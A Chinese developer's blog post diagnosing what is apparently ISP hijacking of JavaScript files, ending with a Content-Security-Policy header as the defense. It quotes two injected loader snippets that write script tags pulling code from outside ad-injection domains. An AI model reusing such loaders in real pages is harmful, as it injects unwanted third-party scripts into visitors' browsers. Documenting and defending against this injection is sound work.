一个奇怪的问题

在开发一个网站的时候,发现程序会莫名其妙地自行加载被替换过的js文件,比如jquery.js和jweixin.js,(我的jquery是本地引用,jweixin是从腾讯的服务器上引用)被替换过的文件会用两种方法在文档中写入两个新的js,一个是实现原来功能的js,另一个是其他服务器上的0423ios.js,其他服务器上的js执行的是在文档内写入各种js,比如游戏页面、下载页面、澳门赌场、cnzz统计代码等,实现投放广告的目的。

第一种方式,加载伪装的jweixin-1.2.0.js:

1
function loadJs(url){var el=document.createElement('script');el.src=url;el.type='text/javascript';document.getElementsByTagName('head')[0].appendChild(el)};loadJs('http://res.wx.qq.com/open/js/jweixin-1.2.0.js?');loadJs('http://www.sozeer.com/njs/b/m_index.js?1')

第二种方式,加载伪装的jquery.js

1
2
document.write("<script type='text/javascript' src='http://ztwuzi.com/public/js/jquery.js?tn=170711'><\/script>");
document.write("<script type='text/javascript' src='http://ln.aockarve.com/002-j/0423ios.js'><\/script>");

先是在chrome里面调试,发现路径完全正确,就是内容被篡改。同时此问题只有在等待几分钟后再刷新网页才出现。于是怀疑代码问题,下载新的js,并把jweixin版本改成1.2.0,问题依旧。

然后用fiddler抓包,发现请求地址为jquery.js,同时写入一个cookie:bai=12.,加载回来的文件类型却是html,头部如下:

HTTP/1.1 200 OK
Content-Encoding: gzip
Content-Type: text/html
Cache-Control: no-cache
Content-Length: 156
Set-Cookie: bai=16.;Domain=.ztwuzi.com;Path=/;Max-Age=43200

于是怀疑是后台php程序的问题。

改用curl模拟直接加载js,发现直接返回被替换的代码。我陷入了深深的思考。。。因为是直接加载静态资源,所以排除后台php的问题,然后又是新的js文件,所以排除js的问题。。。难道是本地网络运营商劫持?可是为什么访问localhost的代码都会出现这个问题?那么是开发机器中毒了?劫持所有js?那为什么访问其他网站都是没问题呢?为什么加载qq服务器上的jweixin.js也会出现这种情况?而且又为什么只劫持我这一个正在开发的网站?

这到底是是人性的泯灭还是道德的沦丧?

然后在不断的搜索中找到这篇文章:https://github.com/joeyguo/blog/issues/5

决定就按照运营商劫持来处理,传说中的XSS攻击终结者CSP:

直接加入头部:

1
<meta http-equiv="Content-Security-Policy" content="script-src 'self' 'unsafe-inline' res.wx.qq.com hm.baidu.com;">

字段’unsafe-inline’表示可以执行inline script,内联脚本。

不过这种方法需要用户浏览器支持。

完。